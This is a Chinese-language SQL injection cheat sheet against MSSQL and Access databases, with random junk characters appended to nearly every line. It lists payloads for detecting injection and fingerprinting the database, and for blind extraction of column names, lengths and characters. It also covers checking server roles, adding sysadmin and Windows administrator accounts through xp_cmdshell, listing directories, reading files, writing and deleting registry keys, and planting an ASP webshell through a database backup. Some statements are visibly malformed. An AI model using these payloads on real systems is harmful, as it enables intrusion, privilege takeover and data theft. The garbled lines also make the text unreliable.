1.判断是否有注入;and 1=1 ;and 1=2 6uf+,F
2.初步判断是否是mssql ;and user>0 vxzOG?Xc:
skn`Q>a
3.注入参数是字符'and [查询条件] and ''=' 3yu{Q z5y,
S:GX!6>
4.搜索时没过滤参数的'and [查询条件] and '%25'=' +[
944n
D-BWgK
5.判断数据库系统 ^w XXx=Xf
)Aky:kM$
;and (select count(*) from sysobjects)>0 mssql fK|F`F2V
*gC6yQ2?
;and (select count(*) from msysobjects)>0 access 5M2G ;o
K?q1I<94
S5Q$dAL
4=>4fia&D
6.猜数据库 ;and (select Count(*) from [数据库名])>0 Py[Z9KLX
^ cn)eA
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 `AA[k
=%YU~
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 H}QOoXWkg
b_]14 v
9.(1)猜字段的ascii值(access) D@(Y.&_
`UpZk?k
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 8ctUK|
Yl+r>+^
(2)猜字段的ascii值(mssql) Ii,Lj1Q
Z`5v6"Na
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ;m3SlP{F
1wl8
10.测试权限结构(mssql) yU~OfwQ
]kuMzTH
P2h}3%cJq
ozbu|9+v
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- v(\kSlJ
sSC yjS'T
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- c"3 a,&
ui,#AZQ#{4
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- [*O#6Xu
EwcN$Ma
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- UJ_E&7,L
?+S& `%?
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- E+AEV`-
XTD_q
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- N6Fj}m&E
z&o"K\y\
;and 1=(select IS_MEMBER('db_owner'));-- MmBM\Dnv
2 fX-J
+1H.5|
`<h}Ygo>k/
11.添加mssql和系统的帐户 \5$N>
2kO
_W4i?Bde
;exec master.dbo.sp_addlogin username;-- \w!G
;exec master.dbo.sp_password null,username,password;-- ki#O ^vl
n_%JXm#\
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- w<<G}4~u|
z6vRTY
;exec master.dbo.xp_cmdshell 'net user username password Eoug/we
ee]PFW28
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- MX 2UYZ&
N?H;fK4v
;exec master.dbo.xp_cmdshell 'net user username password /add';-- EnJAHgRV;e
jZcjiOX
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 8W 9%NW3&
a3L]'E'*#
O&=?,zLO[
)FM/^
12.(1)遍历目录 }*m:zD@8$
9N|O*h1;u
;create table dirs(paths varchar(100), id int) \eE0Rnaf-
w8*+l0
;insert dirs exec master.dbo.xp_dirtree 'c:\' 1%|+yu1
2Av3.u8%u
;and (select top 1 paths from dirs)>0 Ud0%O
/_?E0r
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) >A|6kzC
h3D8eR.
%b2.JGBqJ
SI3ek9|XU
(2)遍历目录 4`G":nE?We
lcij}-z:%e
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- P8e1J0A
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 W?!(/`J]
W{l+_a{/9
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 e
=Vu;
EVMhc"L
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ]`&EB~K&NY
*A`hKx
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ho2o/>Ef3
Z.$ncP0s
&(\z
2i#wJ8vrF
13.mssql中的存储过程 }`4o+
?'p`Qv
xp_regenumvalues 注册表根键, 子键 9kzytx
b&A+`d
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Xvm.Un<N
I+w3It
xp_regread 根键,子键,键值名 |HJdpY>Uu
nbMnqkNb
;exec xp_regread 8zGe5Dn9
'i_od|19~h
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 k/O|ia6
X%xX3e'
xp_regwrite 根键,子键, 值名, 值类型, 值 ; )O)\__"-
=M)>w4-
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 l/`<iG%
h{S';/=8
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 `f}c 1
9u lJZ\cQ
xp_regdeletevalue 根键,子键,值名 9j:t}HV
<wxI>T }b
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 e~c;wP~cO
H=z@!rJc.
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 mQBq-;
7am ._K
Q3\j4;jI(
F'W{\4
14.mssql的backup创建webshell oL#^=vid"
',`iQt!Lx
use model 1b
E$x^P
G5E03xvL
create table cmd(str image); JJ q= {;
;_M .(8L
insert into cmd(str) values (''); &@c=$+#C
p-UACMN&c
backup database model to disk='c:\l.asp'; TS)p2#
]x?9lQ1&
|]HU$GtS
|:`f#H
15.mssql内置函数 *nluK
x
SF#ys4v
;and (select @@version)>0 获得Windows的版本号 eP|:b &
FD*`$.e3\
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ouK&H|'
bT*MJ7VVm
;and (select user_name())>0 爆当前系统的连接用户 S&8gZ~B
]<A|GY0q1
;and (select db_name())>0 得到当前连接的数据库 Z,qo
jtw
[ECSJc&i
U2=5Nt5
wt[MzpR P
16.简洁的webshell |[}YM%e
g}@_
@
use model "wmQ,=
41mg:xW(J
create table cmd(str image); b[?6/#N
GptJQ=pV
insert into cmd(str) values (''); [#kfl
"2)<'4q5)
backup database model to disk='g:\wwwtest\l.asp';